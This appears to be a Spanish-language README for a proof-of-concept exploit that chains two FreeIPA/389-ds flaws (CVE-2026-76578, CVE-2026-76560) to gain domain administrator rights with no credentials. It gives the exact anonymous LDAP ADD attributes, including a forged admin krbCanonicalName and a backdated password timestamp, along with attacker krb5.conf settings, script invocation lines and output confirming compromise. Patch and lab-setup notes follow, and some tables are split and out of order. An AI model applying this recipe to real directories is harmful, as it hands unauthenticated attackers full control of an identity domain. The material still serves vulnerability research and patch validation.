
Prueba de concepto de exploit para CVE-2026-76578 y CVE-2026-76560, encadenando un LDAP ADD anónimo con un bypass de SELFDN en 389-ds para obtener derechos de administrador de dominio de FreeIPA.
Producto: FreeIPA 4.9.x – 4.13.3
Gravedad: Crítica (CVSS 9.8)
Corregido: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Esta prueba de concepto fue desarrollada y ejecutada exclusivamente dentro de un entorno de laboratorio aislado y de propiedad privada con el propósito de investigación de seguridad autorizada y validación de vulnerabilidades.
Antes de usar este script:
Los autores no aceptan ninguna responsabilidad por el mal uso. Este código se proporciona para investigación defensiva y pruebas de penetración autorizadas únicamente.
Nota sobre portabilidad: este script fue validado contra las versiones específicas de paquetes listadas en la sección Entorno de Pruebas a continuación. El comportamiento en otras versiones de SO, niveles de parche o configuraciones de FreeIPA no predeterminadas puede diferir. Verifica siempre los resultados de forma independiente en un entorno controlado antes de sacar conclusiones sobre un objetivo de producción.
| Parámetro | Valor |
|---|---|
| SO | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Dominio | test.local |
| IP del servidor | 192.168.1.11 |
| Nombre de host | ipa-master.test.local |
| Host atacante | Kali Linux (externo, sin pertenencia al dominio) |
Un cliente LDAP no autenticado puede añadir una entrada de token OTP bajo cn=otp y
obtener derechos completos de administrador del dominio FreeIPA. Se combinan dos fallos:
CVE-2026-76578 (FreeIPA) — la ACI de ADD de OTP no tiene restricción targetattr,
por lo que un ADD anónimo puede incluir cualquier atributo: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, etc.
CVE-2026-76560 (389-ds-base) — el evaluador SELFDN trata "" (cadena vacía)
como coincidente con el DN de bind anónimo, eludiendo la comprobación de propiedad
ipatokenOwner#SELFDN.
La idea crítica — sin blob previamente capturado, sin necesidad de acceso a la clave maestra:
Añadir objectClass: inetOrgPerson + userPassword a la entrada activa el
plugin ipapwd de 389-DS, que genera automáticamente krbPrincipalKey
en el lado del servidor, cifrándola con la krbMKey del realm objetivo. El atacante
proporciona una contraseña en texto plano; el servidor deriva la clave Kerberos internamente.
Establecer krbLastPwdChange: 20200101000000Z (fecha pasada) en el mismo ADD elude
la política krbMinPwdLife que de otro modo requeriría un cambio de contraseña
interactivo antes de que kinit tenga éxito.
| CVE | Componente | Descripción |
|---|---|---|
| CVE-2026-76578 | FreeIPA | La ACI de OTP carece de targetattr — cualquier atributo pasa el ADD anónimo |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — se requiere canonicalize = true para el Nivel 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey está cifrada con la krbMKey (clave maestra) del objetivo.
La clave maestra se almacena en LDAP en cn=REALM,cn=kerberos y solo es legible
por el Directory Manager — no de forma anónima, ni por uid=admin vía GSSAPI.
Inyectar krbPrincipalKey directamente es imposible sin la clave maestra.
Inyectar userPassword delega la generación de claves al plugin ipapwd
del servidor, que tiene acceso interno a krbMKey y realiza el cifrado
de forma transparente. La ACI (CVE-2026-76578) permite el paso de userPassword sin
ninguna comprobación de targetattr.
El plugin de unicidad de kerberos impone unicidad sobre krbPrincipalName y
krbPrincipalAlias en todo el sufijo, pero no sobre krbCanonicalName.
Una nueva entrada en cn=otp con krbCanonicalName: admin@REALM no entra en conflicto
con el principal admin real.
Con canonicalize = true en el cliente, kinit attacker@REALM recupera la
entrada por krbPrincipalName, pero el KDC emite el TGT con
cname = krbCanonicalName = admin@REALM. GSSAPI resuelve esto al DN real
uid=admin — que ya es un miembro legítimo de cn=admins. No se realiza
ninguna modificación de grupo.
Cuando se añade userPassword, ipapwd establece krbPasswordExpiration a ahora
(caducado) y krbLastPwdChange a ahora. Con el valor predeterminado krbMinPwdLife = 3600s,
kinit solicitaría un cambio de contraseña antes de emitir un TGT.
Establecer krbLastPwdChange: 20200101000000Z en el ADD original sobrescribe el
valor del plugin a seis años en el pasado, satisfaciendo la comprobación de tiempo de vida mínimo.
krbPasswordExpiration: 20990101000000Z evita la solicitud de caducidad. Ambos
atributos son aceptados porque la ACI de OTP no tiene restricción targetattr.
Para desplegar una instancia vulnerable de FreeIPA en una VM nueva:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 añade una lista de permitidos explícita de targetattr a la ACI de OTP, bloqueando
la inyección anónima de userPassword, krbPrincipalAux, krbPrincipalKey y
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 corrige el evaluador SELFDN para rechazar "" como
DN coincidente para binds anónimos.
Ambas correcciones son necesarias de forma independiente — cualquiera de ellas por sí sola reduce pero no elimina la superficie de ataque.
| 389-ds-base |
El evaluador SELFDN acepta "" como DN de bind anónimo |
| Componente | Vulnerable | Corregido |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < compilación parcheada | ver aviso correspondiente |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | sin parchear en el momento de las pruebas |